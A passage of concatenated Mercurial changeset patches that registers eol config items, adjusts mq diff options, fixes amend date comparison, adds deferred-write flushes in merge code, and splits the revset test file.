+    if (ui.configbool('eol', 'fix-trailing-newline')
         and s and s[-1] != '\n'):
         s = s + '\n'
     return util.tocrlf(s)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786766 -7200
#      Fri Jun 30 03:39:26 2017 +0200
# Node ID 4a6ef3a5b2827c23717377a01bdc0b1477b819aa
# Parent  0f685a229a81bfd81490cce8c64941603943e140
configitems: register the 'eol.native' config

diff --git a/hgext/eol.py b/hgext/eol.py
--- a/hgext/eol.py
+++ b/hgext/eol.py
@@ -118,6 +118,9 @@
 configitem('eol', 'fix-trailing-newline',
     default=False,
 )
+configitem('eol', 'native',
+    default=pycompat.oslinesep,
+)
 
 # Matches a lone LF, i.e., one that is not part of CRLF.
 singlelf = re.compile('(^|[^\r])\n')
@@ -174,7 +177,7 @@
 
         isrepolf = self.cfg.get('repository', 'native') != 'CRLF'
         self._encode['NATIVE'] = isrepolf and 'to-lf' or 'to-crlf'
-        iswdlf = ui.config('eol', 'native', pycompat.oslinesep) in ('LF', '\n')
+        iswdlf = ui.config('eol', 'native') in ('LF', '\n')
         self._decode['NATIVE'] = iswdlf and 'to-lf' or 'to-crlf'
 
         include = []
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786772 -7200
#      Fri Jun 30 03:39:32 2017 +0200
# Node ID d4a5193332b3be9d3040913413563bc8f8d2235a
# Parent  4a6ef3a5b2827c23717377a01bdc0b1477b819aa
configitems: register the 'eol.only-consistent' config

diff --git a/hgext/eol.py b/hgext/eol.py
--- a/hgext/eol.py
+++ b/hgext/eol.py
@@ -121,6 +121,9 @@
 configitem('eol', 'native',
     default=pycompat.oslinesep,
 )
+configitem('eol', 'only-consistent',
+    default=True,
+)
 
 # Matches a lone LF, i.e., one that is not part of CRLF.
 singlelf = re.compile('(^|[^\r])\n')
@@ -132,7 +135,7 @@
     """Filter to convert to LF EOLs."""
     if util.binary(s):
         return s
-    if ui.configbool('eol', 'only-consistent', True) and inconsistenteol(s):
+    if ui.configbool('eol', 'only-consistent') and inconsistenteol(s):
         return s
     if (ui.configbool('eol', 'fix-trailing-newline')
         and s and s[-1] != '\n'):
@@ -143,7 +146,7 @@
     """Filter to convert to CRLF EOLs."""
     if util.binary(s):
         return s
-    if ui.configbool('eol', 'only-consistent', True) and inconsistenteol(s):
+    if ui.configbool('eol', 'only-consistent') and inconsistenteol(s):
         return s
     if (ui.configbool('eol', 'fix-trailing-newline')
         and s and s[-1] != '\n'):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505229515 14400
#      Tue Sep 12 11:18:35 2017 -0400
# Node ID 07f09995e85727dfd516a88977a9ea63d32d9996
# Parent  d4a5193332b3be9d3040913413563bc8f8d2235a
# Parent  987a85c42b08ab2a82cce39b004e00b708320d0e
merge with stable

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -504,8 +504,11 @@
         self.guardsdirty = False
         self.activeguards = None
 
-    def diffopts(self, opts=None, patchfn=None):
-        diffopts = patchmod.diffopts(self.ui, opts)
+    def diffopts(self, opts=None, patchfn=None, plain=False):
+        """Return diff options tweaked for this mq use, possibly upgrading to
+        git format, and possibly plain and without lossy options."""
+        diffopts = patchmod.difffeatureopts(self.ui, opts,
+            git=True, whitespace=not plain, formatchanging=not plain)
         if self.gitmode == 'auto':
             diffopts.upgrade = True
         elif self.gitmode == 'keep':
@@ -1178,7 +1181,7 @@
         date = opts.get('date')
         if date:
             date = util.parsedate(date)
-        diffopts = self.diffopts({'git': opts.get('git')})
+        diffopts = self.diffopts({'git': opts.get('git')}, plain=True)
         if opts.get('checkname', True):
             self.checkpatchname(patchfn)
         inclsubs = checksubstate(repo)
@@ -1643,7 +1646,8 @@
                 substatestate = repo.dirstate['.hgsubstate']
 
             ph = patchheader(self.join(patchfn), self.plainmode)
-            diffopts = self.diffopts({'git': opts.get('git')}, patchfn)
+            diffopts = self.diffopts({'git': opts.get('git')}, patchfn,
+                                     plain=True)
             if newuser:
                 ph.setuser(newuser)
             if newdate:
diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -2085,10 +2085,10 @@
                             'Windows'))
 
     if not source:
+        if not repo:
+            raise error.Abort(_("there is no Mercurial repository here, and no "
+                                "server specified"))
         source = "default"
-    elif not repo:
-        raise error.Abort(_("there is no Mercurial repository here, and no "
-                            "server specified"))
 
     source, branches = hg.parseurl(ui.expandpath(source))
     url = util.url(source)
diff --git a/tests/test-mq-git.t b/tests/test-mq-git.t
--- a/tests/test-mq-git.t
+++ b/tests/test-mq-git.t
@@ -208,5 +208,62 @@
   @@ -0,0 +1,1 @@
   +a
 
+Test how [diff] configuration influence and cause invalid or lossy patches:
+
+  $ cat <<EOF >> .hg/hgrc
+  > [mq]
+  > git = AUTO
+  > [diff]
+  > nobinary = True
+  > noprefix = True
+  > showfunc = True
+  > ignorews = True
+  > ignorewsamount = True
+  > ignoreblanklines = True
+  > unified = 1
+  > EOF
+
+  $ echo ' a' > a
+  $ hg qnew prepare -d '0 0'
+  $ echo '  a' > a
+  $ printf '\0' > b
+  $ echo >> c
+  $ hg qnew diff -d '0 0'
+
+  $ cat .hg/patches/prepare
+  # HG changeset patch
+  # Date 0 0
+  # Parent  cf0bfe72686a47d8d7d7b4529a3adb8b0b449a9f
+  
+  diff -r cf0bfe72686a -r fb9c4422b0f3 a
+  --- a/a
+  +++ b/a
+  @@ -1,1 +1,1 @@
+  -a
+  + a
+  $ cat .hg/patches/diff
+  # HG changeset patch
+  # Date 0 0
+  # Parent  fb9c4422b0f37dd576522dd9a3f99b825c177efe
+  
+  diff --git a/a b/a
+  --- a/a
+  +++ b/a
+  @@ -1,1 +1,1 @@
+  - a
+  +  a
+  diff --git a/b b/b
+  index 78981922613b2afb6025042ff6bd878ac1994e85..f76dd238ade08917e6712764a16a22005a50573d
+  GIT binary patch
+  literal 1
+  Ic${MZ000310RR91
+  
+  diff --git a/c b/c
+  --- a/c
+  +++ b/c
+  @@ -1,1 +1,2 @@
+   a
+  +
+
   $ cd ..
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505146049 -7200
#      Mon Sep 11 18:07:29 2017 +0200
# Node ID ae95853c250adcd034a32a2d7f26e744c555f0f2
# Parent  07f09995e85727dfd516a88977a9ea63d32d9996
cmdutil: fix amend when passing a date

Following https://phab.mercurial-scm.org/D636, passing the same date that the
changeset to amend would results in no new commits but the output changed
from:

  $ hg amend -d '0 0'
  nothing changed
  [1]

to:

  $ hg amend -d '0 0'

Restore the old behavior by parsing the date passed as parameter so the
condition "date == old.date()" correctly works in cases both dates are
identical.

Add a test for covering this regression.

This bug was found thanks to Evolve test suite.

Differential Revision: https://phab.mercurial-scm.org/D691

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3059,6 +3059,9 @@
         user = opts.get('user') or old.user()
         date = opts.get('date') or old.date()
 
+        # Parse the date to allow comparison between date and old.date()
+        date = util.parsedate(date)
+
         if len(old.parents()) > 1:
             # ctx.files() isn't reliable for merges, so fall back to the
             # slower repo.status() method
diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -85,6 +85,14 @@
   nothing changed
   [1]
 
+  $ hg amend -d "0 0"
+  nothing changed
+  [1]
+
+  $ hg amend -d "Thu Jan 01 00:00:00 1970 UTC"
+  nothing changed
+  [1]
+
 Matcher and metadata options
 
   $ echo 3 > C
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505160207 25200
#      Mon Sep 11 13:03:27 2017 -0700
# Node ID c0ce60459d845da52dce9ad8c0122e46fca4279d
# Parent  ae95853c250adcd034a32a2d7f26e744c555f0f2
merge: pass wctx to premerge, filemerge

In the in-memory merge branch. we'll need to call a function (``flushall``) on
the wctx inside of _xmerge.

This prepares the way so it can be done without hacks like ``fcd.ctx()``.

Differential Revision: https://phab.mercurial-scm.org/D449

diff --git a/hgext/largefiles/overrides.py b/hgext/largefiles/overrides.py
--- a/hgext/largefiles/overrides.py
+++ b/hgext/largefiles/overrides.py
@@ -545,10 +545,10 @@
 
 # Override filemerge to prompt the user about how they wish to merge
 # largefiles. This will handle identical edits without prompting the user.
-def overridefilemerge(origfn, premerge, repo, mynode, orig, fcd, fco, fca,
+def overridefilemerge(origfn, premerge, repo, wctx, mynode, orig, fcd, fco, fca,
                       labels=None):
     if not lfutil.isstandin(orig) or fcd.isabsent() or fco.isabsent():
-        return origfn(premerge, repo, mynode, orig, fcd, fco, fca,
+        return origfn(premerge, repo, wctx, mynode, orig, fcd, fco, fca,
                       labels=labels)
 
     ahash = lfutil.readasstandin(fca).lower()
diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -626,7 +626,7 @@
 
     return b, c
 
-def _filemerge(premerge, repo, mynode, orig, fcd, fco, fca, labels=None):
+def _filemerge(premerge, repo, wctx, mynode, orig, fcd, fco, fca, labels=None):
     """perform a 3-way merge in the working directory
 
     premerge = whether this is a premerge
@@ -750,11 +750,13 @@
 def _workingpath(repo, ctx):
     return repo.wjoin(ctx.path())
 
-def premerge(repo, mynode, orig, fcd, fco, fca, labels=None):
-    return _filemerge(True, repo, mynode, orig, fcd, fco, fca, labels=labels)
+def premerge(repo, wctx, mynode, orig, fcd, fco, fca, labels=None):
+    return _filemerge(True, repo, wctx, mynode, orig, fcd, fco, fca,
+                      labels=labels)
 
-def filemerge(repo, mynode, orig, fcd, fco, fca, labels=None):
-    return _filemerge(False, repo, mynode, orig, fcd, fco, fca, labels=labels)
+def filemerge(repo, wctx, mynode, orig, fcd, fco, fca, labels=None):
+    return _filemerge(False, repo, wctx, mynode, orig, fcd, fco, fca,
+                      labels=labels)
 
 def loadinternalmerge(ui, extname, registrarobj):
     """Load internal merge tool from specified registrarobj
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -495,12 +495,14 @@
                 f.close()
             else:
                 wctx[dfile].remove(ignoremissing=True)
-            complete, r, deleted = filemerge.premerge(self._repo, self._local,
-                                                      lfile, fcd, fco, fca,
+            complete, r, deleted = filemerge.premerge(self._repo, wctx,
+                                                      self._local, lfile, fcd,
+                                                      fco, fca,
                                                       labels=self._labels)
         else:
-            complete, r, deleted = filemerge.filemerge(self._repo, self._local,
-                                                       lfile, fcd, fco, fca,
+            complete, r, deleted = filemerge.filemerge(self._repo, wctx,
+                                                       self._local, lfile, fcd,
+                                                       fco, fca,
                                                        labels=self._labels)
         if r is None:
             # no real conflict
diff --git a/tests/failfilemerge.py b/tests/failfilemerge.py
--- a/tests/failfilemerge.py
+++ b/tests/failfilemerge.py
@@ -9,7 +9,8 @@
 )
 
 def failfilemerge(filemergefn,
-                  premerge, repo, mynode, orig, fcd, fco, fca, labels=None):
+                  premerge, repo, wctx, mynode, orig, fcd, fco, fca,
+                  labels=None):
     raise error.Abort("^C")
     return filemergefn(premerge, repo, mynode, orig, fcd, fco, fca, labels)
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505160207 25200
#      Mon Sep 11 13:03:27 2017 -0700
# Node ID 9c07cff039bc8f81f4c3b560315b11296e3d95b1
# Parent  c0ce60459d845da52dce9ad8c0122e46fca4279d
filemerge: flush if using deferred writes when running a merge tool

Since merge tools might read from the filesystem, we need to write out our
deferred writes here.

No-ops if not using deferred writes.

Differential Revision: https://phab.mercurial-scm.org/D627

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -666,6 +666,11 @@
         onfailure = _("merging %s failed!\n")
         precheck = None
 
+        # If using deferred writes, must flush any deferred contents if running
+        # an external merge tool since it has arbitrary access to the working
+        # copy.
+        wctx.flushall()
+
     toolconf = tool, toolpath, binary, symlink
 
     if mergetype == nomerge:
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505160207 25200
#      Mon Sep 11 13:03:27 2017 -0700
# Node ID b90e5b2a9c822797b7fe6266af00923105deda2d
# Parent  9c07cff039bc8f81f4c3b560315b11296e3d95b1
merge: flush any deferred writes before, and after, running any workers

Since we fork to create workers, any changes they queue up will be lost after
the worker terminates, so the easiest solution is to have each worker flush
the writes they accumulate--we are close to the end of the merge in any case.

To prevent duplicated writes, we also have the master processs flush before
forking.

In an in-memory merge (M2), we'll instead disable the use of workers.

Differential Revision: https://phab.mercurial-scm.org/D628

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1126,6 +1126,10 @@
                            "(consider changing to repo root: %s)\n") %
                          repo.root)
 
+    # It's necessary to flush here in case we're inside a worker fork and will
+    # quit after this function.
+    wctx.flushall()
+
 def batchget(repo, mctx, wctx, actions):
     """apply gets to the working directory
 
@@ -1161,6 +1165,10 @@
     if i > 0:
         yield i, f
 
+    # It's necessary to flush here in case we're inside a worker fork and will
+    # quit after this function.
+    wctx.flushall()
+
 def applyupdates(repo, actions, wctx, mctx, overwrite, labels=None):
     """apply the merge action list to the working directory
 
@@ -1229,6 +1237,10 @@
         progress(_updating, z, item=item, total=numupdates, unit=_files)
     removed = len(actions['r'])
 
+    # We should flush before forking into worker processes, since those workers
+    # flush when they complete, and we don't want to duplicate work.
+    wctx.flushall()
+
     # get in parallel
     prog = worker.worker(repo.ui, 0.001, batchget, (repo, mctx, wctx),
                          actions['g'])
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505161063 25200
#      Mon Sep 11 13:17:43 2017 -0700
# Node ID 57dc78d757ff05c90581b89916a4667216207e4f
# Parent  b90e5b2a9c822797b7fe6266af00923105deda2d
merge: flush any deferred writes just before recordupdates()

``recordupdates`` calls into the dirstate which requires the files to be
there, so this is the last possible moment we can flush anything.

Differential Revision: https://phab.mercurial-scm.org/D673

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1712,6 +1712,7 @@
             repo.vfs.write('updatestate', p2.hex())
 
         stats = applyupdates(repo, actions, wc, p2, overwrite, labels=labels)
+        wc.flushall()
 
         if not partial:
             with repo.dirstate.parentchange():
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505254347 25200
#      Tue Sep 12 15:12:27 2017 -0700
# Node ID af13097b44ddc0a165232e1e9977cacc2ef9db19
# Parent  57dc78d757ff05c90581b89916a4667216207e4f
tests: split test-revset.t in half

This test has gotten so large that running it can exceed the normal timeout on
systems under load (like if we're running all the tests in parallel). This patch
splits the test cleanly in half.

Differential Revision: https://phab.mercurial-scm.org/D694

diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -2737,1731 +2737,3 @@
 
   $ cd ..
   $ cd repo
-
-test subtracting something from an addset
-
-  $ log '(outgoing() or removes(a)) - removes(a)'
-  8
-  9
-
-test intersecting something with an addset
-
-  $ log 'parents(outgoing() or removes(a))'
-  1
-  4
-  5
-  8
-
-test that `or` operation combines elements in the right order:
-
-  $ log '3:4 or 2:5'
-  3
-  4
-  2
-  5
-  $ log '3:4 or 5:2'
-  3
-  4
-  5
-  2
-  $ log 'sort(3:4 or 2:5)'
-  2
-  3
-  4
-  5
-  $ log 'sort(3:4 or 5:2)'
-  2
-  3
-  4
-  5
-
-test that more than one `-r`s are combined in the right order and deduplicated:
-
-  $ hg log -T '{rev}\n' -r 3 -r 3 -r 4 -r 5:2 -r 'ancestors(4)'
-  3
-  4
-  5
-  2
-  0
-  1
-
-test that `or` operation skips duplicated revisions from right-hand side
-
-  $ try 'reverse(1::5) or ancestors(4)'
-  (or
-    (list
-      (func
-        (symbol 'reverse')
-        (dagrange
-          (symbol '1')
-          (symbol '5')))
-      (func
-        (symbol 'ancestors')
-        (symbol '4'))))
-  * set:
-  <addset
-    <baseset- [1, 3, 5]>,
-    <generatorset+>>
-  5
-  3
-  1
-  0
-  2
-  4
-  $ try 'sort(ancestors(4) or reverse(1::5))'
-  (func
-    (symbol 'sort')
-    (or
-      (list
-        (func
-          (symbol 'ancestors')
-          (symbol '4'))
-        (func
-          (symbol 'reverse')
-          (dagrange
-            (symbol '1')
-            (symbol '5'))))))
-  * set:
-  <addset+
-    <generatorset+>,
-    <baseset- [1, 3, 5]>>
-  0
-  1
-  2
-  3
-  4
-  5
-
-test optimization of trivial `or` operation
-
-  $ try --optimize '0|(1)|"2"|-2|tip|null'
-  (or
-    (list
-      (symbol '0')
-      (group
-        (symbol '1'))
-      (string '2')
-      (negate
-        (symbol '2'))
-      (symbol 'tip')
-      (symbol 'null')))
-  * optimized:
-  (func
-    (symbol '_list')
-    (string '0\x001\x002\x00-2\x00tip\x00null'))
-  * set:
-  <baseset [0, 1, 2, 8, 9, -1]>
-  0
-  1
-  2
-  8
-  9
-  -1
-
-  $ try --optimize '0|1|2:3'
-  (or
-    (list
-      (symbol '0')
-      (symbol '1')
-      (range
-        (symbol '2')
-        (symbol '3'))))
-  * optimized:
-  (or
-    (list
-      (func
-        (symbol '_list')
-        (string '0\x001'))
-      (range
-        (symbol '2')
-        (symbol '3'))))
-  * set:
-  <addset
-    <baseset [0, 1]>,
-    <spanset+ 2:4>>
-  0
-  1
-  2
-  3
-
-  $ try --optimize '0:1|2|3:4|5|6'
-  (or
-    (list
-      (range
-        (symbol '0')
-        (symbol '1'))
-      (symbol '2')
-      (range
-        (symbol '3')
-        (symbol '4'))
-      (symbol '5')
-      (symbol '6')))
-  * optimized:
-  (or
-    (list
-      (range
-        (symbol '0')
-        (symbol '1'))
-      (symbol '2')
-      (range
-        (symbol '3')
-        (symbol '4'))
-      (func
-        (symbol '_list')
-        (string '5\x006'))))
-  * set:
-  <addset
-    <addset
-      <spanset+ 0:2>,
-      <baseset [2]>>,
-    <addset
-      <spanset+ 3:5>,
-      <baseset [5, 6]>>>
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-
-unoptimized `or` looks like this
-
-  $ try --no-optimized -p analyzed '0|1|2|3|4'
-  * analyzed:
-  (or
-    (list
-      (symbol '0')
-      (symbol '1')
-      (symbol '2')
-      (symbol '3')
-      (symbol '4')))
-  * set:
-  <addset
-    <addset
-      <baseset [0]>,
-      <baseset [1]>>,
-    <addset
-      <baseset [2]>,
-      <addset
-        <baseset [3]>,
-        <baseset [4]>>>>
-  0
-  1
-  2
-  3
-  4
-
-test that `_list` should be narrowed by provided `subset`
-
-  $ log '0:2 and (null|1|2|3)'
-  1
-  2
-
-test that `_list` should remove duplicates
-
-  $ log '0|1|2|1|2|-1|tip'
-  0
-  1
-  2
-  9
-
-test unknown revision in `_list`
-
-  $ log '0|unknown'
-  abort: unknown revision 'unknown'!
-  [255]
-
-test integer range in `_list`
-
-  $ log '-1|-10'
-  9
-  0
-
-  $ log '-10|-11'
-  abort: unknown revision '-11'!
-  [255]
-
-  $ log '9|10'
-  abort: unknown revision '10'!
-  [255]
-
-test '0000' != '0' in `_list`
-
-  $ log '0|0000'
-  0
-  -1
-
-test ',' in `_list`
-  $ log '0,1'
-  hg: parse error: can't use a list in this context
-  (see hg help "revsets.x or y")
-  [255]
-  $ try '0,1,2'
-  (list
-    (symbol '0')
-    (symbol '1')
-    (symbol '2'))
-  hg: parse error: can't use a list in this context
-  (see hg help "revsets.x or y")
-  [255]
-
-test that chained `or` operations make balanced addsets
-
-  $ try '0:1|1:2|2:3|3:4|4:5'
-  (or
-    (list
-      (range
-        (symbol '0')
-        (symbol '1'))
-      (range
-        (symbol '1')
-        (symbol '2'))
-      (range
-        (symbol '2')
-        (symbol '3'))
-      (range
-        (symbol '3')
-        (symbol '4'))
-      (range
-        (symbol '4')
-        (symbol '5'))))
-  * set:
-  <addset
-    <addset
-      <spanset+ 0:2>,
-      <spanset+ 1:3>>,
-    <addset
-      <spanset+ 2:4>,
-      <addset
-        <spanset+ 3:5>,
-        <spanset+ 4:6>>>>
-  0
-  1
-  2
-  3
-  4
-  5
-
-no crash by empty group "()" while optimizing `or` operations
-
-  $ try --optimize '0|()'
-  (or
-    (list
-      (symbol '0')
-      (group
-        None)))
-  * optimized:
-  (or
-    (list
-      (symbol '0')
-      None))
-  hg: parse error: missing argument
-  [255]
-
-test that chained `or` operations never eat up stack (issue4624)
-(uses `0:1` instead of `0` to avoid future optimization of trivial revisions)
-
-  $ hg log -T '{rev}\n' -r `$PYTHON -c "print '+'.join(['0:1'] * 500)"`
-  0
-  1
-
-test that repeated `-r` options never eat up stack (issue4565)
-(uses `-r 0::1` to avoid possible optimization at old-style parser)
-
-  $ hg log -T '{rev}\n' `$PYTHON -c "for i in xrange(500): print '-r 0::1 ',"`
-  0
-  1
-
-check that conversion to only works
-  $ try --optimize '::3 - ::1'
-  (minus
-    (dagrangepre
-      (symbol '3'))
-    (dagrangepre
-      (symbol '1')))
-  * optimized:
-  (func
-    (symbol 'only')
-    (list
-      (symbol '3')
-      (symbol '1')))
-  * set:
-  <baseset+ [3]>
-  3
-  $ try --optimize 'ancestors(1) - ancestors(3)'
-  (minus
-    (func
-      (symbol 'ancestors')
-      (symbol '1'))
-    (func
-      (symbol 'ancestors')
-      (symbol '3')))
-  * optimized:
-  (func
-    (symbol 'only')
-    (list
-      (symbol '1')
-      (symbol '3')))
-  * set:
-  <baseset+ []>
-  $ try --optimize 'not ::2 and ::6'
-  (and
-    (not
-      (dagrangepre
-        (symbol '2')))
-    (dagrangepre
-      (symbol '6')))
-  * optimized:
-  (func
-    (symbol 'only')
-    (list
-      (symbol '6')
-      (symbol '2')))
-  * set:
-  <baseset+ [3, 4, 5, 6]>
-  3
-  4
-  5
-  6
-  $ try --optimize 'ancestors(6) and not ancestors(4)'
-  (and
-    (func
-      (symbol 'ancestors')
-      (symbol '6'))
-    (not
-      (func
-        (symbol 'ancestors')
-        (symbol '4'))))
-  * optimized:
-  (func
-    (symbol 'only')
-    (list
-      (symbol '6')
-      (symbol '4')))
-  * set:
-  <baseset+ [3, 5, 6]>
-  3
-  5
-  6
-
-no crash by empty group "()" while optimizing to "only()"
-
-  $ try --optimize '::1 and ()'
-  (and
-    (dagrangepre
-      (symbol '1'))
-    (group
-      None))
-  * optimized:
-  (andsmally
-    (func
-      (symbol 'ancestors')
-      (symbol '1'))
-    None)
-  hg: parse error: missing argument
-  [255]
-
-optimization to only() works only if ancestors() takes only one argument
-
-  $ hg debugrevspec -p optimized 'ancestors(6) - ancestors(4, 1)'
-  * optimized:
-  (difference
-    (func
-      (symbol 'ancestors')
-      (symbol '6'))
-    (func
-      (symbol 'ancestors')
-      (list
-        (symbol '4')
-        (symbol '1'))))
-  0
-  1
-  3
-  5
-  6
-  $ hg debugrevspec -p optimized 'ancestors(6, 1) - ancestors(4)'
-  * optimized:
-  (difference
-    (func
-      (symbol 'ancestors')
-      (list
-        (symbol '6')
-        (symbol '1')))
-    (func
-      (symbol 'ancestors')
-      (symbol '4')))
-  5
-  6
-
-optimization disabled if keyword arguments passed (because we're too lazy
-to support it)
-
-  $ hg debugrevspec -p optimized 'ancestors(set=6) - ancestors(set=4)'
-  * optimized:
-  (difference
-    (func
-      (symbol 'ancestors')
-      (keyvalue
-        (symbol 'set')
-        (symbol '6')))
-    (func
-      (symbol 'ancestors')
-      (keyvalue
-        (symbol 'set')
-        (symbol '4'))))
-  3
-  5
-  6
-
-invalid function call should not be optimized to only()
-
-  $ log '"ancestors"(6) and not ancestors(4)'
-  hg: parse error: not a symbol
-  [255]
-
-  $ log 'ancestors(6) and not "ancestors"(4)'
-  hg: parse error: not a symbol
-  [255]
-
-we can use patterns when searching for tags
-
-  $ log 'tag("1..*")'
-  abort: tag '1..*' does not exist!
-  [255]
-  $ log 'tag("re:1..*")'
-  6
-  $ log 'tag("re:[0-9].[0-9]")'
-  6
-  $ log 'tag("literal:1.0")'
-  6
-  $ log 'tag("re:0..*")'
-
-  $ log 'tag(unknown)'
-  abort: tag 'unknown' does not exist!
-  [255]
-  $ log 'tag("re:unknown")'
-  $ log 'present(tag("unknown"))'
-  $ log 'present(tag("re:unknown"))'
-  $ log 'branch(unknown)'
-  abort: unknown revision 'unknown'!
-  [255]
-  $ log 'branch("literal:unknown")'
-  abort: branch 'unknown' does not exist!
-  [255]
-  $ log 'branch("re:unknown")'
-  $ log 'present(branch("unknown"))'
-  $ log 'present(branch("re:unknown"))'
-  $ log 'user(bob)'
-  2
-
-  $ log '4::8'
-  4
-  8
-  $ log '4:8'
-  4
-  5
-  6
-  7
-  8
-
-  $ log 'sort(!merge() & (modifies(b) | user(bob) | keyword(bug) | keyword(issue) & 1::9), "-date")'
-  4
-  2
-  5
-
-  $ log 'not 0 and 0:2'
-  1
-  2
-  $ log 'not 1 and 0:2'
-  0
-  2
-  $ log 'not 2 and 0:2'
-  0
-  1
-  $ log '(1 and 2)::'
-  $ log '(1 and 2):'
-  $ log '(1 and 2):3'
-  $ log 'sort(head(), -rev)'
-  9
-  7
-  6
-  5
-  4
-  3
-  2
-  1
-  0
-  $ log '4::8 - 8'
-  4
-
-matching() should preserve the order of the input set:
-
-  $ log '(2 or 3 or 1) and matching(1 or 2 or 3)'
-  2
-  3
-  1
-
-  $ log 'named("unknown")'
-  abort: namespace 'unknown' does not exist!
-  [255]
-  $ log 'named("re:unknown")'
-  abort: no namespace exists that match 'unknown'!
-  [255]
-  $ log 'present(named("unknown"))'
-  $ log 'present(named("re:unknown"))'
-
-  $ log 'tag()'
-  6
-  $ log 'named("tags")'
-  6
-
-issue2437
-
-  $ log '3 and p1(5)'
-  3
-  $ log '4 and p2(6)'
-  4
-  $ log '1 and parents(:2)'
-  1
-  $ log '2 and children(1:)'
-  2
-  $ log 'roots(all()) or roots(all())'
-  0
-  $ hg debugrevspec 'roots(all()) or roots(all())'
-  0
-  $ log 'heads(branch(é)) or heads(branch(é))'
-  9
-  $ log 'ancestors(8) and (heads(branch("-a-b-c-")) or heads(branch(é)))'
-  4
-
-issue2654: report a parse error if the revset was not completely parsed
-
-  $ log '1 OR 2'
-  hg: parse error at 2: invalid token
-  [255]
-
-or operator should preserve ordering:
-  $ log 'reverse(2::4) or tip'
-  4
-  2
-  9
-
-parentrevspec
-
-  $ log 'merge()^0'
-  6
-  $ log 'merge()^'
-  5
-  $ log 'merge()^1'
-  5
-  $ log 'merge()^2'
-  4
-  $ log '(not merge())^2'
-  $ log 'merge()^^'
-  3
-  $ log 'merge()^1^'
-  3
-  $ log 'merge()^^^'
-  1
-
-  $ hg debugrevspec -s '(merge() | 0)~-1'
-  * set:
-  <baseset+ [1, 7]>
-  1
-  7
-  $ log 'merge()~-1'
-  7
-  $ log 'tip~-1'
-  $ log '(tip | merge())~-1'
-  7
-  $ log 'merge()~0'
-  6
-  $ log 'merge()~1'
-  5
-  $ log 'merge()~2'
-  3
-  $ log 'merge()~2^1'
-  1
-  $ log 'merge()~3'
-  1
-
-  $ log '(-3:tip)^'
-  4
-  6
-  8
-
-  $ log 'tip^foo'
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-
-  $ log 'branchpoint()~-1'
-  abort: revision in set has more than one child!
-  [255]
-
-Bogus function gets suggestions
-  $ log 'add()'
-  hg: parse error: unknown identifier: add
-  (did you mean adds?)
-  [255]
-  $ log 'added()'
-  hg: parse error: unknown identifier: added
-  (did you mean adds?)
-  [255]
-  $ log 'remo()'
-  hg: parse error: unknown identifier: remo
-  (did you mean one of remote, removes?)
-  [255]
-  $ log 'babar()'
-  hg: parse error: unknown identifier: babar
-  [255]
-
-Bogus function with a similar internal name doesn't suggest the internal name
-  $ log 'matches()'
-  hg: parse error: unknown identifier: matches
-  (did you mean matching?)
-  [255]
-
-Undocumented functions aren't suggested as similar either
-  $ log 'tagged2()'
-  hg: parse error: unknown identifier: tagged2
-  [255]
-
-multiple revspecs
-
-  $ hg log -r 'tip~1:tip' -r 'tip~2:tip~1' --template '{rev}\n'
-  8
-  9
-  4
-  5
-  6
-  7
-
-test usage in revpair (with "+")
-
-(real pair)
-
-  $ hg diff -r 'tip^^' -r 'tip'
-  diff -r 2326846efdab -r 24286f4ae135 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	Thu Jan 01 00:00:00 1970 +0000
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-  $ hg diff -r 'tip^^::tip'
-  diff -r 2326846efdab -r 24286f4ae135 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	Thu Jan 01 00:00:00 1970 +0000
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-
-(single rev)
-
-  $ hg diff -r 'tip^' -r 'tip^'
-  $ hg diff -r 'tip^:tip^'
-
-(single rev that does not looks like a range)
-
-  $ hg diff -r 'tip^::tip^ or tip^'
-  diff -r d5d0dcbdc4d9 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	* (glob)
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-  $ hg diff -r 'tip^ or tip^'
-  diff -r d5d0dcbdc4d9 .hgtags
-  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
-  +++ b/.hgtags	* (glob)
-  @@ -0,0 +1,1 @@
-  +e0cc66ef77e8b6f711815af4e001a6594fde3ba5 1.0
-
-(no rev)
-
-  $ hg diff -r 'author("babar") or author("celeste")'
-  abort: empty revision range
-  [255]
